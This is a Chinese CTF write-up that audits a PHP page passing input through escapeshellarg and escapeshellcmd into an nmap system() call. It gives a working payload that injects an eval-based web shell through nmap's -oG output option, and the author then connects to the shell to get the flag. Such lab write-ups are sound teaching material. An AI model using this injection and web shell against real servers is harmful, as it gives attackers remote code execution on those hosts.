文章目录
-
打开网址,展示出后台代码:
这种很明显,就是要我们进行代码审计,从代码中找出一些漏洞进行使用
-
对代码进行分析:
<?php /** * 下面这个 if 语句表示的意思如下: * 1. $_SERVER['REMOTE_ADDR'] 是指获取客户端的 IP 地址,但是如果我们使用了代理获取的就是代理的 IP * 2. $_SERVER['HTTP_X_FORWARDED_FOR'] 这个方法的目的是为了透过代理服务器获取客户端的真实 IP 地址,不过有的时候这个方法读到的仍旧是代理 IP, * 如果对方付未使用代理服务器的话那么这个方法读取到的就是空的 */ if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); # 这个方法没什么鸟用 } else { $host = $_GET['host']; // 下面这两个方法会在后面的一个文章中得到见解,所以值介绍大概,具体后面文章会解释 $host = escapeshellarg($host); # 给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号 $host = escapeshellcmd($host); # 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); # 这就是一个 MD5 加密 echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); # 新建目录 文件名为 $sandbox chdir($sandbox); # 将 PHP 的当前目录改为 directory。对于这个方法建议了解一下,对于后面使用文件连接的时候是有帮助的,下方链接 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); # 这就是一个 system 命令执行 nmap 函数 } ?>
-
好了我们现在已经对我们所掌握的所有东西进行了分析,但是我们没有任何的思路,唯一让我们引起警觉的只有
两个不知道干什么的函数
以及一个system()
函数,然后就没有然后了。知道申请场外援助
-
这篇文章讲解了关于两个函数的使用:PHP escapeshellarg()+escapeshellcmd() 之殇
说实话我看完是比较懵逼的,最后总结了一下,这个漏洞的使用就是利用这两个函数在一起使用的时候对于单引号的处理不当,而且使用条件及其苛刻,要求这两个函数必须以特定的顺序运行:
escapeshellarg -> escapeshellcmd
-
这里看完了之后想想也就是一个引号的问题能有什么问题,但是我们还有一个点没有想到就是
system()
这个函数可是使用了 nmap 这个软件,nmap 这个能有什么问题呢?就是一个扫描端口的还能将扫描结果保存到本地。这个时候关键就来了结果保存到本地
,那我们岂不是可以上传一个文件上去。
对nmap 指令进行分析后得到如下方法,可以使用 -oG 参数进行存储, -
现在我们已经掌握了所有的知识以及理论分析,现在进行实践
-
创建 payload :
?host=' <?php @eval($_POST["JLB"]); ?> -oG hack.php '
这个就是上传的文件的文件夹,然后我们使用蚁剑进行连接,就可以得到 flag
总结
- 对于不认识的函数要尽可能了解其功能
- 在寻找漏洞时不可以单单找一个函数,而是找多个函数混合执行的效果以及对应的版本问题
- 对于一些函数要敏感,同时要对第三方软件的各个功能进行了解